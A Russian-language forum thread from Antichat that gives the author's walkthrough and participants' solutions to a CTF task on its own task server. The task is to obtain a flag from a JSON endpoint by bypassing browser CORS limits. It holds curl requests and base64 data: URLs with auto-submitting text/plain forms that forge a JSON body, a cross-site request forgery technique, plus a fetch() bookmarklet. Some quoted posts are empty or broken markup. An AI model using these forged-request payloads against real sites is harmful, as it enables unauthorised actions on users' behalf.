HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 27.02.2021, 15:48
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Задание закрыто.



Прохождение:


Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.com:10013 и ответ выводится на страницу.

Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.com:10013/task13.html.

Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели:

Код:
Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.com:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»).
Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin.

Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания:

Код:
curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
флаг получен, цель понятна, нужно выполнить запрос в браузере.

Но браузер будет упорно сопротивляться.

Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток.

Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится.

Поэтому ищем чего-то другое.

Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает.

Это хорошо, но есть пара проблем:

- формы не умеют отправлять заголовок "Content-Type: application/json"

- не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает.

Пробуем заточить под наши нужды.

Проверяем, обязателен ли заголовок "Content-Type: application/json"

Код:
curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
флаг отдается, значит заголовок не обязателен, ковыряем json-строку.

Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag".

Например:

Код:

На сервер уйдет пакет

Код:
POST / HTTP/1.1
Host: task.antichat.com:10013
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: text/plain
Content-Length: 38
Connection: close

{"operation":"GetFlag","(.)(.)":"="}
Видим флаг.

Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL

data:text/html, и дальше наш html-текст копипастом.

Часто используют base64 кодирование

берем

Код:

енкодим в base64

Код:
PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo=
знаки равенства в конце base64-строки можно отбросить

Код:
data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo
Вставляем в адресную строку - видим флаг.

Прохождения участников:



.SpoilerTarget" type="button">Spoiler: Прохождения
Цитата:
Сообщение от ii445888  

Код:

Цитата:
Сообщение от ii445888  
Код:
[/B][/B][/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][B][B]        
        
    




Цитата:
Сообщение от Baskin-Robbins  

Вот так?
Код:
data:text/html,document.getElementById("dd").submit()
Цитата:
Сообщение от Baskin-Robbins  

Привет, а решение через букмарклеты подходит?
Типо сохраняем любую страницу в закладки, например с именем 111, редактируем в настройках URL
на такой
Код:
javascript:fetch('http://task.antichat.com:10013', { method: 'POST',body: JSON.stringify({'operation': 'GetFlag'})}).then(r=>r.text()).then(d=>alert(d));
открываем
http://task.antichat.com:10013
щелкаем по закладке 111
в алерте наш флаг, в огнелисе работает


.SpoilerTarget" type="button">Spoiler: Прохождения

Цитата:
Сообщение от Baskin-Robbins  

С закладками я погуглил и так понял что не бага, там вроде даже на вики
писали что из закладок выполняемый код получает доступ к странице.
Раньше из js можно было добавлять в браузер свои закладки, сейчас убрали
эту фичу, хотя саму возможность выполнения оставили.
Я думаю что все же нет, не бага.
Но бага есть, другая, хотя для использования нужны другие баги.
ФФ может выводить инфу в обход SOP для "простых запросов" без
хидера Access-Control-Allow-Origin. Суть в том что отправив запрос,
не важно через XMLHttpRequest или fetch во вкладке Network мы можем
увидеть ответ. Я посчитал сначало что фича firefox'a но работает через раз,
рандомно может вернуть ответ, а может нет. Проблема в том что js его
не видит, т.е ответ видит только пользователь. А допустим извернуться и попытаться
заскринить мы не можем, так как из js не можем панелью разработчика управлять
в браузере. К слову на опера и хром не получилось так, не вывели они инфу,
так что бага, но использовать ее как есть нельзя, нужно что-то еще.
Я думал ты таск закроешь и я напишу про эту фичу(с игнорированием SOP),
так как сам не могу сейчас ее докрутить, а про закладки надо посмотреть доки,
не думаю все же что бага.
Цитата:
Сообщение от Hulkus  
Цитата:
Сообщение от Go0o$E  

Решение на вывод Chrome/Firefox
Код HTML:
data:text/html;base64,PGZvcm0gYWN0aW9uPSJodHRwOi8vdGFzay5hbnRpY2hhdC5jb206MTAwMTMvIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9InRleHQvcGxhaW4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiYjMTIzOyZxdW90O29wZXJhdGlvbiZxdW90OyYjNTg7JnF1b3Q7R2V0RmxhZyZxdW90OyYjNDQ7JnF1b3Q7Z2V0JnF1b3Q7JiM1ODsmcXVvdDsiIHZhbHVlPSJmbGFnJnF1b3Q7JiMxMjU7JiMxMzsmIzEwOyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IHJlcXVlc3QiIC8+PC9mb3JtPjxzY3JpcHQ+ZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk7PC9zY3JpcHQ+Cg
[/quote]
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.